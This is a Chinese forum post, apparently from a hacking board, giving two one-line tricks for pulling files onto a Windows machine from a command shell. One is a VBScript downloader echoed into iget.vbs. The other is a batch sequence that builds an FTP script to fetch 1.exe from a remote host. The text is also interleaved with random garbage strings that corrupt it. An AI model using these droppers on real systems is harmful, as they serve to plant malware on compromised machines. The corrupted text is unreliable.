- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
< >解决办法: " ~3 q4 P% |5 }7 b4 g8 t
1.iget.vbs一次写入 ) y' P$ }+ |2 ^3 ^+ y
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 , }! c& d5 V% f# R9 H0 E
7 [2 _- u! S* l w" N; W* |6 ?1 f
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 - d" L* L: c: f
' P9 @9 G4 p7 R, M- `这样我们可以一次echo成功,echo版本: , n9 I5 D1 p' x8 ^- u2 I
, I) A" ]% J- e, k# V" u) d- l
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs / P! |# G, R1 H, i( c
]2 \/ G( Y; r- F
1 u' T4 d6 D X7 U2.bat调用ftp脚本的写法(by envymask) * s+ Q; I" o$ R- p1 [
1 P# N9 `( t) @
echo ftp>1.vbs - W4 Z- P- T8 w( x! z: W& J
echo open ip>2.vbs % ~4 m+ O D1 ?2 _; \
echo u>3.vbs
! a/ p) \5 v' w; W$ T/ Becho s>4.vbs 1 W, T1 \4 t9 Z8 [3 [2 V6 N# E$ x
echo binary>5.vbs 1 w y. i, ~0 ~0 T
echo get 1.exe>6.vbs + r' n" z8 Z9 o2 Y- i
echo bay>7.vbs % e& q# H I# j5 ]8 o
: T; W% J u+ p$ I9 X8 mcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
H: K1 o5 S, K$ r+ i) g</P> |
zan
|